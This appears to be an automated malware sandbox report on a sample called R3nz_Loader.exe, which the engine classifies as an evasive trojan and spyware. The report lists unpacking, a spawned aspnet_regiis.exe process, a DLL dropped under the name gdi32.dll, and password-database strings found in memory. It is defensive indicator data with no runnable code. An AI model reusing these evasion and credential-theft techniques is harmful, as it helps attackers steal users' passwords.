Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277DA20	3_2_0277DA20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277C22F	3_2_0277C22F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02785210	3_2_02785210
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02788A00	3_2_02788A00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02787200	3_2_02787200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027972D0	3_2_027972D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0276EAA0	3_2_0276EAA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279DA91	3_2_0279DA91
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02784B64	3_2_02784B64
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277FB50	3_2_0277FB50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279F340	3_2_0279F340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02768320	3_2_02768320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279031D	3_2_0279031D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0278BBFA	3_2_0278BBFA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027743D0	3_2_027743D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02769390	3_2_02769390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02764B90	3_2_02764B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279E380	3_2_0279E380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02797070	3_2_02797070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279B860	3_2_0279B860
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279F050	3_2_0279F050
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02791847	3_2_02791847
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277A820	3_2_0277A820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02777828	3_2_02777828
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0278B0DD	3_2_0278B0DD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0276B0C0	3_2_0276B0C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027690B0	3_2_027690B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027638B0	3_2_027638B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027658B0	3_2_027658B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02783890	3_2_02783890
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02780090	3_2_02780090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02796081	3_2_02796081
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02781950	3_2_02781950
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02776146	3_2_02776146
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277712B	3_2_0277712B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0276B909	3_2_0276B909
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0278B1EA	3_2_0278B1EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0278D1C0	3_2_0278D1C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279E9A0	3_2_0279E9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02771196	3_2_02771196
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0278EE79	3_2_0278EE79
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02787E5C	3_2_02787E5C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279E640	3_2_0279E640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02785E00	3_2_02785E00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02765ED0	3_2_02765ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277C6B0	3_2_0277C6B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027836B0	3_2_027836B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02784EB0	3_2_02784EB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02762E90	3_2_02762E90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277BE80	3_2_0277BE80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277CF70	3_2_0277CF70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02798770	3_2_02798770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02788748	3_2_02788748
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02779720	3_2_02779720
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02798F19	3_2_02798F19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02766700	3_2_02766700
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02776FF0	3_2_02776FF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027877F3	3_2_027877F3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02778FE7	3_2_02778FE7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0278DFE9	3_2_0278DFE9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027697D0	3_2_027697D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027957D2	3_2_027957D2
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027867A1	3_2_027867A1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027907A0	3_2_027907A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0278C78B	3_2_0278C78B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02779470	3_2_02779470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02795C69	3_2_02795C69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0276DC62	3_2_0276DC62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02786C53	3_2_02786C53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277DC30	3_2_0277DC30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02787C36	3_2_02787C36
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279C42E	3_2_0279C42E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02783400	3_2_02783400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027984FF	3_2_027984FF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0277ECF0	3_2_0277ECF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027674E0	3_2_027674E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0276B49D	3_2_0276B49D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02782D70	3_2_02782D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279E520	3_2_0279E520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02779470	3_2_02779470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_027815B0	3_2_027815B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279E5B0	3_2_0279E5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_02776D9A	3_2_02776D9A

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 027743C0 appears 69 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: String function: 02768020 appears 44 times

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2684 -s 1224

Source: R3nz_Loader.exe, 00000000.00000000.2009877409.0000000000AC0000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameXeniaHarveyKaitlyn.pdfkW4 vs R3nz_Loader.exe
Source: R3nz_Loader.exe, 00000000.00000002.2234322124.000000000128E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs R3nz_Loader.exe
Source: R3nz_Loader.exe	Binary or memory string: OriginalFilenameXeniaHarveyKaitlyn.pdfkW4 vs R3nz_Loader.exe

Source: R3nz_Loader.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: R3nz_Loader.exe

Static PE information: Section: ^]tBD;I ZLIB complexity 1.0003187697249774

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/7@1/1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe

Code function: 3_2_02797BA0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_02797BA0

Source: C:\Users\user\Desktop\R3nz_Loader.exe

File created: C:\Users\user\AppData\Roaming\gdi32.dll

Jump to behavior

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6716:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2684

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\962343f8-2ba8-45a0-ad7c-aa94d894f88d

Jump to behavior

Source: R3nz_Loader.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: aspnet_regiis.exe, 00000003.00000003.2041331876.0000000004F2A000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2041224294.0000000004F45000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000003.00000003.2053288404.0000000004F52000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: R3nz_Loader.exe

ReversingLabs: Detection: 34%

Source: R3nz_Loader.exe	String found in binary or memory: -addpset
Source: R3nz_Loader.exe	String found in binary or memory: -addfulltrust
Source: R3nz_Loader.exe	String found in binary or memory: -addgroup
Source: R3nz_Loader.exe	String found in binary or memory: -help

Source: C:\Users\user\Desktop\R3nz_Loader.exe

File read: C:\Users\user\Desktop\R3nz_Loader.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\R3nz_Loader.exe "C:\Users\user\Desktop\R3nz_Loader.exe"
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2684 -s 1224
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe"	Jump to behavior

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\R3nz_Loader.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: R3nz_Loader.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: R3nz_Loader.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Windows\mscorlib.pdbpdblib.pdb source: R3nz_Loader.exe, 00000000.00000002.2234322124.00000000012C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Desktop\R3nz_Loader.PDB source: R3nz_Loader.exe, 00000000.00000002.2234322124.00000000012C1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: %%.pdb source: R3nz_Loader.exe, 00000000.00000002.2233663238.0000000000EF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Desktop\R3nz_Loader.PDB source: R3nz_Loader.exe, 00000000.00000002.2233663238.0000000000EF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: WER3C4D.tmp.dmp.6.dr
Source:	Binary string: mscorlib.ni.pdb source: WER3C4D.tmp.dmp.6.dr
Source:	Binary string: n0C:\Windows\mscorlib.pdb source: R3nz_Loader.exe, 00000000.00000002.2233663238.0000000000EF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdbLL source: R3nz_Loader.exe, 00000000.00000002.2234322124.0000000001339000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: R3nz_Loader.exe, 00000000.00000002.2234322124.00000000012EC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: R3nz_Loader.exe, 00000000.00000002.2234322124.0000000001339000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdb8 source: R3nz_Loader.exe, 00000000.00000002.2234322124.0000000001326000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.ni.pdbRSDS source: WER3C4D.tmp.dmp.6.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\R3nz_Loader.exe

Unpacked PE file: 0.2.R3nz_Loader.exe.a10000.0.unpack ^]tBD;I:EW;.text:ER;.rsrc:R;.reloc:R;Unknown_Section4:ER; vs Unknown_Section0:EW;Unknown_Section1:ER;Unknown_Section2:R;Unknown_Section3:R;Unknown_Section4:ER;

Source: R3nz_Loader.exe	Static PE information: section name: ^]tBD;I
Source: R3nz_Loader.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A156EF push esi; iretd	0_2_00A15846
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A13AFF push esi; iretd	0_2_00A13B00
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A156CC push esi; iretd	0_2_00A15846
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A15801 push esi; iretd	0_2_00A15846
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A16A00 push edi; iretd	0_2_00A16A01
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A16465 push 1E68DD25h; retf	0_2_00A1646B
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A1567B push esi; iretd	0_2_00A15846
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A1427A push ds; iretd	0_2_00A14283
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A1564A push esi; iretd	0_2_00A15846
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A1564F push esi; iretd	0_2_00A15846
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A127B0 push ebx; retf	0_2_00A127B5
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A1573A push esi; iretd	0_2_00A15736
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A15715 push esi; iretd	0_2_00A15736
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A12519 push edi; retf	0_2_00A1251A
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Code function: 0_2_00A1575F push esi; iretd	0_2_00A15846
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Code function: 3_2_0279E220 push eax; mov dword ptr [esp], 66616053h	3_2_0279E222

Source: R3nz_Loader.exe

Static PE information: section name: ^]tBD;I entropy: 7.999688407134414

Source: C:\Users\user\Desktop\R3nz_Loader.exe

File created: C:\Users\user\AppData\Roaming\gdi32.dll

Jump to dropped file

Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\R3nz_Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regiis.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
